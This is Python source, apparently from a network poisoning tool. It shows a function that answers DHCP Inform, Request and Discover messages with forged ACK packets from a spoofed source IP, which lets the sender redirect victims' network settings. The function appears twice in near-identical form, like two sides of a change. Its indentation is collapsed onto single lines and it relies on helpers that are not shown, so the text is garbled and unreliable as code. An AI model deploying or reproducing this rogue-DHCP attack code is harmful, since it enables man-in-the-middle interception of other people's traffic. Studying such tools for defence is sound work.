def ParseDHCPCode(data): PTid = data[4:8] Seconds = data[8:10] CurrentIP = socket.inet_ntoa(data[12:16]) RequestedIP = socket.inet_ntoa(data[16:20]) MacAddr = data[28:34] MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() OpCode = data[242:243] RequestIP = data[245:249] # DHCP Inform if OpCode == "\x08": IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \ GiveClientIP=socket.inet_aton("0.0.0.0"), \ NextServerIP=socket.inet_aton("0.0.0.0"), \ RelayAgentIP=socket.inet_aton("0.0.0.0"), \ ElapsedSec=Seconds) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) # DHCP Request if OpCode == "\x03" and Respond_To_Requests: IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) # DHCP Discover if OpCode == "\x01" and Respond_To_Requests: IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def ParseDHCPCode(data): PTid = data[4:8] Seconds = data[8:10] CurrentIP = socket.inet_ntoa(data[12:16]) RequestedIP = socket.inet_ntoa(data[16:20]) MacAddr = data[28:34] MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() OpCode = data[242:243] RequestIP = data[245:249] # DHCP Inform if OpCode == "\x08": IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), GiveClientIP=socket.inet_aton("0.0.0.0"), NextServerIP=socket.inet_aton("0.0.0.0"), RelayAgentIP=socket.inet_aton("0.0.0.0"), ElapsedSec=Seconds) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))